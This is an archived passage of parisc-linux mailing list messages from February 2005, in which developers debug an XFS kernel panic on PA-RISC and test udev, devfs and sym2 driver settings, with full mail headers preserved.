> r12-15  0000000000000001 00000000f9aa3288 00000000f9aa3150 0000000000000001
> r16-19  00000000328607b8 00000000cd3bb090 0000000032860560 00000000fd694400
> 
> 
> Press Q/q to quit, Enter to continue: 
> r20-23  00000000002a2a40 000000000000055c 0000000058414749 00000000cb631400
> r24-27  00000027452d93e0 0000000000000001 0000000000242000 0000000000242000
> r28-31  00000000cb631400 0000000032860cf0 0000000032860d20 0000000000000000
> sr0-3   000000000a95f800 000000000a95f800 0000000000000000 000000000a95e800
> sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000002a1574 00000000002a1578
>  IIR: 0f021014    ISR: 0000000000000000  IOR: 00000027452d93e1
>  CPU:        0   CR30: 0000000032860000 CR31: 0000000010508000
>  ORIG_R28: 0000000000242000
>  IAOQ[0]: xfs_ialloc_read_agi+0x164/0x188 [xfs]
>  IAOQ[1]: xfs_ialloc_read_agi+0x168/0x188 [xfs]
>  RP(r2): 0xa7f9a6c0
> Kernel panic - not syncing: Kernel Fault

The sp is aligned, and at some nominal value. I'm not sure what IIR that
works out to be, can you disassemble your kernel at that point to see
the faulting instruction?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Thu, 17 Feb 2005 19:00:37 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <200502171900.37179.mszick@wolfbutter.com>
References: <42075CE800004656@mail-6-bnl.tiscali.it>
	<200502170653.52415.mszick@wolfbutter.com>
	<20050217210915.GB1081@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623670 12709 80.91.229.3 (22 Nov 2014 02:34:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2005 01:01:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 18 Feb 2005 02:01:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA58B7D615;
	Thu, 17 Feb 2005 18:01:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07942-07; Thu, 17 Feb 2005 18:01:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E1C07D626;
	Thu, 17 Feb 2005 18:01:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC5017D611
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Feb 2005 18:01:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07864-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Feb 2005 18:01:37 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 474577D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Feb 2005 18:01:37 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j1I114fX084766 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Feb 2005 17:01:04 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [67.77.71.147] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id 6VY3qEo5
	authenticated by SMTP; Thu, 17 Feb 2005 17:01:03 -0800 (PST)
User-Agent: KMail/1.7.1
In-Reply-To: <20050217210915.GB1081@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: O1J+KoRWTlIv47eQeGhrSVVGU2poZRmQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22351

On Thu February 17 2005 15:09, Grant Grundler wrote:
> On Thu, Feb 17, 2005 at 06:53:52AM -0600, Michael S. Zick wrote:
> > A suggestion...
> > 
> > I am tracking a timing and/or race condition(s) with x86-udev.
> > Debian doesn't use it yet, they still have a hard disk based /dev.
> 
> OK. I'll try that tonight.
> 
Grant,
One of my problems was the video card driver - Manufacturers
driver has problems, X.org driver does not.  Tossing the vendor's
driver fixed that.

Still having network driver problems, haven't narrowed down all
the possible causes.

The hardware, software, and kernel are as similar as possible
with the exceptions:

works:
kernel 2.6.8, gcc 3.3.4, single processor, hard-disk /dev
problems:
kernel 2.6.x, gcc 3.3.5, dual processor, udev /dev

My guess is that the udev code is not 100% smp ready.
But it could actually be anything, including cockpit error.

Time to sneaker net (by cd-rom) code from one box
to the other.  Will advise.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Thu, 17 Feb 2005 23:23:12 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <20050218062312.GA11968@colo.lackof.org>
References: <42075CE800004656@mail-6-bnl.tiscali.it>
	<200502170653.52415.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623670 12711 80.91.229.3 (22 Nov 2014 02:34:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@wolfbutter.com>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2005 06:22:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx061) with SMTP; 18 Feb 2005 07:22:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 811277D62B;
	Thu, 17 Feb 2005 23:23:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08896-07; Thu, 17 Feb 2005 23:23:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F0F67D626;
	Thu, 17 Feb 2005 23:23:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 231677D611
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Feb 2005 23:23:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08909-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Feb 2005 23:22:59 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 2C6387D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Feb 2005 23:22:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F2DAA298038;
	Thu, 17 Feb 2005 23:23:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12381-05; Thu, 17 Feb 2005 23:23:12 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8CD12298034; Thu, 17 Feb 2005 23:23:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200502170653.52415.mszick@wolfbutter.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zOV+KowrTlIv47eQeGhrSVVGU2poZVmU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22352

On Thu, Feb 17, 2005 at 06:53:52AM -0600, Michael S. Zick wrote:
> I am tracking a timing and/or race condition(s) with x86-udev.
> Debian doesn't use it yet, they still have a hard disk based /dev.
> But it is not a compile time option.
> If you have a 2.6.+ kernel, you have it.
> 
> Try turning it off with the command line option: 'noudev'

I thought this helped at first.  (2.6.11-rc4-pa1)
Could run spew+"make -j4" over xfs without crashing the box (panic).

Then I rebooted with a freshly built kernel (and "noudev")
and right away when I start spew on the XFS file system I get:

Kernel Fault: Code=26 regs=00000000fd0b0de0 (Addr=00000000000000c8)
...
 IAOQ[0]: xfs_btree_init_cursor+0x70/0x1b8 [xfs]
 IAOQ[1]: xfs_btree_init_cursor+0x8c/0x1b8 [xfs]
 RP(r2): xfs_btree_init_cursor+0x58/0x1b8 [xfs]

The system panics with and without the xfs patches Joel pointed me at.

The only difference in the .config was sym2 driver IOMAPPED.
I had it enabled (using IO Port space) and now disable it
since I really want MMIO space. I'm very skeptical this is
related to the problem.


> If your compile time options include devfs, try turning it 
> off also.  Use the command line option: 'nodevfs'

I don't use devfs. Willy won't let me. :^P

> In my case, for kernels 2.6.8, 2.6.9, 2.6.10 and 2.6.11 -
> If I boot from slow devices (cdrom, zip disk) everything is
> fine, If I boot from fast devices (hard disk) - something isn't
> getting setup the same.

Is there a difference in the how the devices are used?
ie. serialized vs. multiple IOs in flight at the same time?

I didn't start hitting problems until I lauched a second job
on the same file system.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Fri, 18 Feb 2005 18:35:31 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <420B30A200003973@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623670 12714 80.91.229.3 (22 Nov 2014 02:34:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:30 +0000 (UTC)
Cc: "Michael S.Zick" <mszick@wolfbutter.com>,
 parisc-linux@lists.parisc-linux.org
To: "Thibaut VARENE" <varenet@esiee.fr>,
 "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2005 17:36:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 18 Feb 2005 18:36:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EAD77D615;
	Fri, 18 Feb 2005 10:36:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12381-07; Fri, 18 Feb 2005 10:36:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEC8B7D626;
	Fri, 18 Feb 2005 10:36:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A2C27D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 10:36:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12381-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 10:36:12 -0700 (MST)
Original-Received: from mrq-1.tiscali.sys (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id CFDAA7D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 10:36:11 -0700 (MST)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrq-1.tiscali.sys with esmtp (Exim 4.43)
	id 1D2C2O-000352-1O; Fri, 18 Feb 2005 18:35:35 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Fri, 18 Feb 2005 18:35:31 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5kt9Kg5tTlIv47eQeGhrSVVGU2poZZnD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22353

...
>
> Come to think of it, I wonder how the XFS bug you're pointing at can
> be related to the bug Joel and I reported with ext3:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2005-February/025
> 867.html
>
> Maybe one would like to try XFS on a non-SYM2 box and see what
> happens? That way we might have a clue whether sym2's at fault or
> something else...
>
In fact because I have not other choise (the only spare disk I found is a=

small narrow se 4Gb hp disk which I cab connect to my b180 unstable debia=
n
install), I used the zalon ncr53c710 of my b180 and just build a 2Gb xfs
on a slice of the disk with defaults:
# mkfs -t xfs /dev/sdd1
meta-data=3D/dev/sdd1              isize=3D256    agcount=3D8, agsize=3D6=
4034 blks
         =3D                       sectsz=3D512
data     =3D                       bsize=3D4096   blocks=3D512272, imaxpc=
t=3D25
         =3D                       sunit=3D0      swidth=3D0 blks, unwrit=
ten=3D1
naming   =3Dversion 2              bsize=3D4096
log      =3Dinternal log           bsize=3D4096   blocks=3D2560, version=3D=
1
         =3D                       sectsz=3D512   sunit=3D0 blks
realtime =3Dnone                   extsz=3D65536  blocks=3D0, rtextents=3D=
0

then cvs -z3 co -A linux-2.6 without any pb ;-)

I am convince that doesn't help a lot: that makes 3 big diff with Grant t=
est:
    - 32bit kernel,
    - up system (curious to see results in up too on the grant's a500: ju=
st
deconfigure a cpu, is it possible on a500?)
    - different driver (ncr53c710 in place of sym_2)

The running kernel was 2.6.11-rc4-pa1 (cvs dated 20050217) 32bit without
any other patch, no devfs support builtin (nor module).

Hth anyway,
    Joel

PS: I still have a chroot disk on this system but fw one connected to the=

symbios crtlr using sym-2.1.18n, it was dedicated to carlos libc test but=

trust I could safely convert some extra ext3 fs to xfs (I mean bakup/rest=
ore
:) ... on Monday :-(



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Fri, 18 Feb 2005 10:28:26 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <20050218092835.0E74E3658E2@mail.esiee.fr>
References: <20050218062312.GA11968@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623671 12715 80.91.229.3 (22 Nov 2014 02:34:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:31 +0000 (UTC)
Cc: "Michael S.Zick" <mszick@wolfbutter.com>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2005 09:28:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 18 Feb 2005 10:28:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E5767D615;
	Fri, 18 Feb 2005 02:29:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09741-03; Fri, 18 Feb 2005 02:29:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFF617D626;
	Fri, 18 Feb 2005 02:29:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC3877D611
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 02:29:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09270-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 02:29:09 -0700 (MST)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id 512277D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Feb 2005 02:29:09 -0700 (MST)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP id 789BE3658EE;
	Fri, 18 Feb 2005 10:28:35 +0100 (CET)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 0E74E3658E2;
	Fri, 18 Feb 2005 10:28:35 +0100 (CET)
User-Agent: IMHO/0.99 (Webmail for Roxen)
In-Reply-To: <20050218062312.GA11968@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L9l+KttpTlIv47eQeGhrSVVGU2poZdnL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22354

-------------------
> On Thu, Feb 17, 2005 at 06:53:52AM -0600, Michael S. Zick wrote:
> > I am tracking a timing and/or race condition(s) with x86-udev.
> > Debian doesn't use it yet, they still have a hard disk based /dev.
> > But it is not a compile time option.
> > If you have a 2.6.+ kernel, you have it.
> >=20
> > Try turning it off with the command line option: 'noudev'
>=20
> I thought this helped at first.  (2.6.11-rc4-pa1)
> Could run spew+"make -j4" over xfs without crashing the box (panic).
>=20
> Then I rebooted with a freshly built kernel (and "noudev")
> and right away when I start spew on the XFS file system I get:

=20
> The only difference in the .config was sym2 driver IOMAPPED.
> I had it enabled (using IO Port space) and now disable it
> since I really want MMIO space. I'm very skeptical this is
> related to the problem.

Hmmm.
Back in the early days of 2.5, i recall issues with SYM2 in MMIO mode,
so that it only worked in PIO mode (I think i had posted something on
this m-l about that). At that time i was using ext3 for that matter.

OTOH, XFS relies a lot on memory and cache quality. I don't know how
MMIO would interfere with that, but I suspect that if enabling MMIO
has the side effect of messing with that somehow, it's very likely XFS
won't like it at all. Just a random thought though.
=20
> > If your compile time options include devfs, try turning it=20
> > off also.  Use the command line option: 'nodevfs'
>=20
> I don't use devfs. Willy won't let me. :^P

well, devfs is 3v1l and deprecated, so you'd better not use it :)

> > In my case, for kernels 2.6.8, 2.6.9, 2.6.10 and 2.6.11 -
> > If I boot from slow devices (cdrom, zip disk) everything is
> > fine, If I boot from fast devices (hard disk) - something isn't
> > getting setup the same.
>=20
> Is there a difference in the how the devices are used?
> ie. serialized vs. multiple IOs in flight at the same time?
>=20
> I didn't start hitting problems until I lauched a second job
> on the same file system.

Come to think of it, I wonder how the XFS bug you're pointing at can
be related to the bug Joel and I reported with ext3:
http://lists.parisc-linux.org/pipermail/parisc-linux/2005-February/025
867.html

Maybe one would like to try XFS on a non-SYM2 box and see what
happens? That way we might have a clue whether sym2's at fault or
something else...

My 2 cents in the morning ;)

Thibaut VARENE
PA/Linux ESIEE Team
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a b180 panic with 2.6.11-rc3-pa3
Date: Fri, 18 Feb 2005 09:16:49 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <420B30A200003495@mail-1-bnl.tiscali.it>
References: <20050216201417.737f4c40@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623671 12721 80.91.229.3 (22 Nov 2014 02:34:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:31 +0000 (UTC)
Cc: List Parisc <parisc-linux@lists.parisc-linux.org>
To: "Thibaut VARENE" <T-Bone@parisc-linux.org>,
 "Max Grabert" <parisc@gmail.com>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2005 08:17:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 18 Feb 2005 09:17:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EE7C7D62B;
	Fri, 18 Feb 2005 01:17:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09262-06; Fri, 18 Feb 2005 01:17:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A597F7D626;
	Fri, 18 Feb 2005 01:17:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
